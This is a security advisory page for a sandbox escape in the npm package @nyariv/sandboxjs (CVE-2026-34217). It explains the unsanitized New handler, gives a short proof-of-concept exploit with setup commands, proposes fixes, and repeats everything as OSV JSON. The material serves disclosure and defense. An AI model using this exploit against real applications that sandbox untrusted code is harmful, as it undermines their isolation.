GHSA-HG73-4W7G-Q96W

Vulnerability from github – Published: 2026-04-03 21:45 – Updated: 2026-04-06 23:18
VLAI
Summary
SandboxJS: Sandbox Escape via Prop Object Leak in New Handler
Details

Description

A scope modification vulnerability exists in @nyariv/sandboxjs version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.

Vulnerable Code Location

Primary: The New Operator Handler

File: src/executor.ts, lines 1275–1280

addOps<new (...args: unknown[]) => unknown, unknown[]>(
  LispType.New,
  ({ done, a, b, context }) => {
    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
    }
    done(undefined, new a(...b));  // ← b is NOT sanitized, return is NOT sanitized
  },
);

This handler has two missing sanitization steps:

  1. Arguments (b) are not passed through valueOrProp() — Constructor arguments contain raw Prop objects (internal interpreter wrappers) instead of extracted values.

  2. Return value is not passed through getGlobalProp() or sanitizeArray() — The constructed object is returned directly to the execution tree without any sanitization.

Comparison: The Call Handler (Correctly Implemented)

File: src/executor.ts, lines 493–605

addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {
  // ...
  const vals = b
    .map((item) => {
      if (item instanceof SpreadArray) {
        return [...item.item];
      } else {
        return [item];
      }
    })
    .flat()
    .map((item) => valueOrProp(item, context));  // ← Arguments ARE sanitized
  // ...
  let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));
  ret = getGlobalProp(ret, context) || ret;  // ← Return IS sanitized
  sanitizeArray(ret, context);               // ← Return IS sanitized
  done(undefined, ret);
});

The Call handler correctly sanitizes both arguments (via valueOrProp) and return values (via getGlobalProp and sanitizeArray). The New handler does neither.

Why This Is Vulnerable

Step 1: What is a Prop Object?

The sandbox interpreter wraps every value access in a Prop object (defined at src/utils.ts, lines 565–582). A Prop has:

class Prop {
  context: any;       // The object the property belongs to
  prop: PropertyKey;  // The property name
  isConst: boolean;
  isGlobal: boolean;
  isVariable: boolean;
}

When sandboxed code accesses a variable like isNaN, the interpreter creates Prop(scope.allVars, 'isNaN'). The context field is a direct reference to the scope's variable storage object.

Step 2: What is in scope.allVars?

At the global scope level, scope.allVars is the same object as options.globals — the SAFE_GLOBALS object containing:

{
  globalThis: <real globalThis>,
  Function: <real Function constructor>,
  eval: <real eval function>,
  console: { log: console.log, ... },
  Array, Object, Map, Set, Promise, Date, Error, RegExp,
  isNaN, parseInt, parseFloat, ...
}

These are the real host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.

Step 3: How the Prop Leaks Through new

When sandboxed code executes new Constructor(someVariable):

  1. The interpreter evaluates someVariable — this produces a Prop object: Prop(scope.allVars, 'someVariable')
  2. The New handler receives this Prop as-is in the b array (no valueOrProp() call)
  3. new Constructor(...[Prop]) passes the raw Prop object to the constructor function
  4. Inside the constructor, the Prop is received as a named parameter
  5. The constructor reads arg.context — this is the raw scope.allVars object containing all real globals
  6. The constructor stores this reference: this.scope = arg.context
  7. The constructed object is returned without sanitization

Proof of Concept

Step-by-Step Reproduction (Terminal)

Step 1: Create a new directory and initialize

mkdir sandboxjs-poc
cd sandboxjs-poc
npm init -y

Step 2: Set module type to ESM

node -e "const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))"

Step 3: Install the vulnerable package

npm install @nyariv/sandboxjs@0.8.35

Step 4: Create the minimal exploit

cat > exploit.mjs << 'EOF'
import pkg from '@nyariv/sandboxjs';
const Sandbox = pkg.default || pkg;
const sandbox = new Sandbox();
const {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();
console.log(scope);
EOF

Step 5: Run it

node exploit.mjs

Impact

An attacker who can control code executed inside the sandbox can modify scope variables above its current available scope

The attack requires no authentication, no user interaction, and works with default sandbox configuration. The only requirement is that the host application reads the return value from sandbox.compile(code)({}).run(), which is the standard and documented usage pattern.

Suggested Remediation

Fix 1: Sanitize New Handler Arguments (Critical)

Add valueOrProp() to constructor arguments, matching the Call handler's behavior:

// src/executor.ts line 1275-1280
addOps<new (...args: unknown[]) => unknown, unknown[]>(
  LispType.New,
  ({ done, a, b, context }) => {
    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
    }
    const sanitizedArgs = b.map((item) => valueOrProp(item, context));
    const result = new a(...sanitizedArgs);
    const sanitized = getGlobalProp(result, context) || result;
    sanitizeArray(sanitized, context);
    done(undefined, sanitized);
  },
);

Fix 2: Sanitize Sandbox Return Values (Defense in Depth)

Add deep sanitization in Sandbox.ts to strip internal references from any value returned to the host, regardless of how it was produced.

Fix 3: Freeze the Globals Object (Defense in Depth)

Freeze or seal options.globals and scope.allVars after construction to prevent mutation via the Prop leak:

Object.freeze(options.globals);
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.35"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-668"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:45:38Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "MODERATE"
  },
  "details": "## Description\n\nA scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.\n\n## Vulnerable Code Location\n\n### Primary: The `New` Operator Handler\n\n**File**: `src/executor.ts`, lines 1275\u20131280\n\n```typescript\naddOps\u003cnew (...args: unknown[]) =\u003e unknown, unknown[]\u003e(\n  LispType.New,\n  ({ done, a, b, context }) =\u003e {\n    if (!context.ctx.globalsWhitelist.has(a) \u0026\u0026 !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    done(undefined, new a(...b));  // \u2190 b is NOT sanitized, return is NOT sanitized\n  },\n);\n```\n\nThis handler has **two missing sanitization steps**:\n\n1. **Arguments (`b`) are not passed through `valueOrProp()`** \u2014 Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values.\n\n2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** \u2014 The constructed object is returned directly to the execution tree without any sanitization.\n\n### Comparison: The `Call` Handler (Correctly Implemented)\n\n**File**: `src/executor.ts`, lines 493\u2013605\n\n```typescript\naddOps\u003cunknown, Lisp[], any\u003e(LispType.Call, ({ done, a, b, obj, context }) =\u003e {\n  // ...\n  const vals = b\n    .map((item) =\u003e {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return [item];\n      }\n    })\n    .flat()\n    .map((item) =\u003e valueOrProp(item, context));  // \u2190 Arguments ARE sanitized\n  // ...\n  let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));\n  ret = getGlobalProp(ret, context) || ret;  // \u2190 Return IS sanitized\n  sanitizeArray(ret, context);               // \u2190 Return IS sanitized\n  done(undefined, ret);\n});\n```\n\nThe `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither.\n\n---\n\n## Why This Is Vulnerable\n\n### Step 1: What is a Prop Object?\n\nThe sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565\u2013582). A `Prop` has:\n\n```typescript\nclass Prop {\n  context: any;       // The object the property belongs to\n  prop: PropertyKey;  // The property name\n  isConst: boolean;\n  isGlobal: boolean;\n  isVariable: boolean;\n}\n```\n\nWhen sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, \u0027isNaN\u0027)`. The `context` field is a direct reference to the scope\u0027s variable storage object.\n\n### Step 2: What is in `scope.allVars`?\n\nAt the global scope level, `scope.allVars` is the same object as `options.globals` \u2014 the SAFE_GLOBALS object containing:\n\n```javascript\n{\n  globalThis: \u003creal globalThis\u003e,\n  Function: \u003creal Function constructor\u003e,\n  eval: \u003creal eval function\u003e,\n  console: { log: console.log, ... },\n  Array, Object, Map, Set, Promise, Date, Error, RegExp,\n  isNaN, parseInt, parseFloat, ...\n}\n```\n\nThese are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.\n\n### Step 3: How the Prop Leaks Through `new`\n\nWhen sandboxed code executes `new Constructor(someVariable)`:\n\n1. The interpreter evaluates `someVariable` \u2014 this produces a `Prop` object: `Prop(scope.allVars, \u0027someVariable\u0027)`\n2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call)\n3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function\n4. Inside the constructor, the `Prop` is received as a named parameter\n5. The constructor reads `arg.context` \u2014 this is the raw `scope.allVars` object containing all real globals\n6. The constructor stores this reference: `this.scope = arg.context`\n7. The constructed object is returned without sanitization\n\n## Proof of Concept\n\n### Step-by-Step Reproduction (Terminal)\n\n#### Step 1: Create a new directory and initialize\n\n```bash\nmkdir sandboxjs-poc\ncd sandboxjs-poc\nnpm init -y\n```\n\n#### Step 2: Set module type to ESM\n\n```bash\nnode -e \"const p=require(\u0027./package.json\u0027);p.type=\u0027module\u0027;require(\u0027fs\u0027).writeFileSync(\u0027package.json\u0027,JSON.stringify(p,null,2))\"\n```\n\n#### Step 3: Install the vulnerable package\n\n```bash\nnpm install @nyariv/sandboxjs@0.8.35\n```\n\n#### Step 4: Create the minimal exploit\n\n```bash\ncat \u003e exploit.mjs \u003c\u003c \u0027EOF\u0027\nimport pkg from \u0027@nyariv/sandboxjs\u0027;\nconst Sandbox = pkg.default || pkg;\nconst sandbox = new Sandbox();\nconst {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();\nconsole.log(scope);\nEOF\n```\n\n#### Step 5: Run it\n\n```bash\nnode exploit.mjs\n```\n\n## Impact\n\nAn attacker who can control code executed inside the sandbox can modify scope variables above its current available scope\n\nThe attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern.\n\n---\n\n## Suggested Remediation\n\n### Fix 1: Sanitize New Handler Arguments (Critical)\n\nAdd `valueOrProp()` to constructor arguments, matching the Call handler\u0027s behavior:\n\n```typescript\n// src/executor.ts line 1275-1280\naddOps\u003cnew (...args: unknown[]) =\u003e unknown, unknown[]\u003e(\n  LispType.New,\n  ({ done, a, b, context }) =\u003e {\n    if (!context.ctx.globalsWhitelist.has(a) \u0026\u0026 !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    const sanitizedArgs = b.map((item) =\u003e valueOrProp(item, context));\n    const result = new a(...sanitizedArgs);\n    const sanitized = getGlobalProp(result, context) || result;\n    sanitizeArray(sanitized, context);\n    done(undefined, sanitized);\n  },\n);\n```\n\n### Fix 2: Sanitize Sandbox Return Values (Defense in Depth)\n\nAdd deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced.\n\n### Fix 3: Freeze the Globals Object (Defense in Depth)\n\nFreeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak:\n\n```typescript\nObject.freeze(options.globals);\n```",
  "id": "GHSA-hg73-4w7g-q96w",
  "modified": "2026-04-06T23:18:33Z",
  "published": "2026-04-03T21:45:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/abc02f657279e51a4aaad2bc8f99f3e37a01b287"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SandboxJS: Sandbox Escape via Prop Object Leak in New Handler"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.